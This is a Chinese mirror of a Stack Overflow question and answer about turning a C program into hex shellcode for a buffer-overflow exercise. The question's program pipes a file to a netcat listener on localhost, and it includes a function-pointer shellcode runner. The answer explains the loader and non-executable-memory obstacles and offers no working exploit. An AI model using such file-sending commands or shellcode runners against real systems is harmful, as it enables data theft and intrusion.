c - 如何将 C 代码转换为汇编的十六进制表示形式?

标签 c linux bash assembly

编辑:看来我还有很多阅读要做......

此外,对于那些告诉我这是一个坏主意的人来说,这是一个缓冲区溢出练习。

我有一个相当简单的 C 程序:

int main() {
  system("cat file | nc -p 33 localhost 8080");
  return 0;
}

我想把它变成十六进制汇编代码。想一想:

\x55\x43\xff\x75\x13\x77...

我尝试这样做:

gcc -o shell shell.c
for i in $(objdump -d shell -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo

这给了我一长串漂亮的十六进制字符串。但是当我在这个程序中测试它时,出现了段错误。

code = "\x55\x43\xff\x75\x13\x77..."
int main(int argc, char **argv)
{
  int (*func)();
  func = (int (*)()) code;
  (int)(*func)();
}

有人知道我怎样才能让它工作吗?谢谢!另外,我不知道这是否重要,但它是 64 位系统。

最佳答案

在从磁盘加载二进制代码和执行二进制代码之间,您缺少操作系统为您完成的一大堆东西。例如,函数调用“system(char *command)”:在操作系统加载程序“修复”指针之前,指向命令字符的指针无效。

如果您非常非常小心,您可以构造不依赖于指针的代码,并且可以在没有操作系统加载程序帮助的情况下从任意地址运行。这就是堆栈溢出漏洞的创建方式。大多数现代 CPU 通过使用内存管理器将内存标记为“数据”或“代码”来阻止此代码运行,如果您的程序尝试执行数据或写入代码,则会出现错误。

操作系统正在尝试阻止您尝试执行的操作。

关于c - 如何将 C 代码转换为汇编的十六进制表示形式?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/31711619/

相关文章:

c - 过滤 "Smoothing"C 中的数字数组

c - C 中结构体数组的数组 - 声明

xml - 使用 xmlstarlet 编辑 XML 中的值

linux - 命令在命令行工作但不在脚本中

linux iptables 将传出流量重定向到本地端口

linux - 读取输入数字并将其重定向到文件中的列

c - fprintf 和星号金字塔

c++ - C/C++ Hex char* 到字节数组

linux - Samba 导致 "mount:/is busy"

php - 为什么我不能从 php 脚本中删除文件?